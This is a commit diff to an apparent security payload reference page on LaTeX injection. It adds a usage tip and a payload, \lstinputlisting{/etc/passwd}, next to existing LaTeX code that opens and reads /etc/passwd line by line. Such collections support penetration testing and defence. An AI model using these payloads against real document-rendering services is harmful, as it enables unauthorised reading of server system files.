Merge pull request #652 from clem9669/master

Update README.md for Latex injection
This commit is contained in:
Swissky 2023-06-29 12:27:22 +02:00 committed by GitHub
commit 0a75beeccd
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -1,5 +1,7 @@
# LaTex Injection # LaTex Injection
You might need to adjust injection with wrappers as `\[` or `$`.
## Read file ## Read file
Read file and interpret the LaTeX code in it: Read file and interpret the LaTeX code in it:
@ -22,6 +24,7 @@ Read single lined file:
Read multiple lined file: Read multiple lined file:
```tex ```tex
\lstinputlisting{/etc/passwd}
\newread\file \newread\file
\openin\file=/etc/passwd \openin\file=/etc/passwd
\loop\unless\ifeof\file \loop\unless\ifeof\file